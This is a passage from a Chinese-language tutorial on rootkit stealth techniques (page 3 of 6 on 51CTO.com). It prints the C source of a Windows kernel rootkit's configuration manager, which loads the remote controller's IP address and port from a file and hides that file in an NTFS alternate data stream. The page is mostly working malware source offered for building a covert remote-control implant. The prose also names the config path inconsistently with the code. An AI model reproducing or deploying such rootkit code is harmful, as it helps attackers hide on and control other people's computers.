频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

Rootkit隐形技术入门(3)

作者: 宇文 出处:51CTO.com 2008-03-20 13:22    砖    好    评论   进入论坛
阅读提示:在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。
三、配置管理器

我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:

// configManager.h 
// 配置管理器的头文件

#ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_

Char  masterPort[10];
Char  masterAddress1[4];
Char  masterAddress2[4];
Char  masterAddress3[4];
Char  masterAddress4[4];

NTSTATUS Configure();

#endif

我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码:

// configManager.c
// 首先从c:\config16寻找配置文件
// If it's there, save as MASTER_FILE:config16 and delete c:\config16
// If it's not there, try MASTER_FILE:configFile
// If that doesn't exist, quit!

#include "ntddk.h"
#include "fileManager.h"
#include "configManager.h"

// Set the controllers IP and port
NTSTATUS Configure()
{
 CHAR data[21];
 SHORT vis = 0;
 SHORT loop;
 SHORT dataIndex;
 SHORT addressIndex;
 ULONG fileSize;
 PHANDLE fileHandle;

 //了解读哪个文件
 if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )
 {
  DbgPrint("comint16: Reading config from visible file.");
  vis = 1;
 }
 else
 {
  if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )
  {
   DbgPrint("comint16: Reading config from hidden file.");
  }
  else
  {
   DbgPrint("comint16: Error. Could not find a config file.");
   return STATUS_UNSUCCESSFUL;
  }
 }

 //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式
 dataIndex = 0;
 addressIndex = 0;
 // First 3 are xxx of xxx.111.111.111:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress1[addressIndex++] = data[dataIndex++];
 masterAddress1[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //接下来是111.xxx.111.111:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress2[addressIndex++] = data[dataIndex++];
 masterAddress2[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //然后处理111.111.xxx.111:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress3[addressIndex++] = data[dataIndex++];
 masterAddress3[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //然后处理111.111.111.xxx:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress4[addressIndex++] = data[dataIndex++];
 masterAddress4[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过冒号“:”
 //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx
 for( loop = 0; loop < 5; loop++ )
  masterPort[addressIndex++] = data[dataIndex++];
 masterPort[addressIndex] = 0;

 DbgPrint( "comint16: Using %s.%s.%s.%s:%s",
   masterAddress1,
   masterAddress2,
   masterAddress3,
   masterAddress4,
   masterPort);

 if( vis == 1 )
 {
  DbgPrint("comint16: Saving config to hidden file.");
  PutFile( L"config16", data, fileSize );
  DbgPrint("comint16: You may delete the visible file.");
 }

 return STATUS_SUCCESS;
}

以上是配置管理器的源代码。该配置管理器的作用很明显,就是从一个文件中读取17个字符。不过存放这些字符的文件的位置反倒有点复杂:当我们第一次安装rootkit时,该配置文件必须位于c:\config 32,如果配置文件不在这里,rootkit会安静地“结束”;当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。

上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。


共6页: 上一页 [1] [2] 3 [4] [5] [6] 下一页
【内容导航】
 第 1 页:综述  第 2 页:rootkit主体
 第 3 页:配置管理器  第 4 页:交换数据流
 第 5 页:rootkit的安装  第 6 页:测试rootkit
专题
微软Forefront企业安全解决方案
VPN安全技术与应用
安全防范与策略
国内安全厂商新排名出炉 谁是你心中的第一
冷眼旁观2007年半年安全报告
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:SQL Server数据库管理精品黄皮书
简介:书中文章经过精挑细选,便于用户能根据自己的实际工作和学习,快速在本书寻找到相关资料。内容涵盖了SQL Server的安装与升级、语句查询、数据备份和恢复、自动化任务、数据同步、数据字典、安全和预防、性能和优化、集群等各方面应用信息,以及DBA管理人员在数据库管理工作中
名称:2007路由技术大全
简介:《2007路由技术大全》由51CTO.com网站特别策划制作,该书包括路由器技术、路由器产品、路由器配置、安全设置、路由器故障处理、路由器密码恢复,以及广大网友在实践使用中的心得经验和技巧文章,内容注重实用性,适用于初学者入门,也适合多年从业者提高,是一本实践和理论完
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。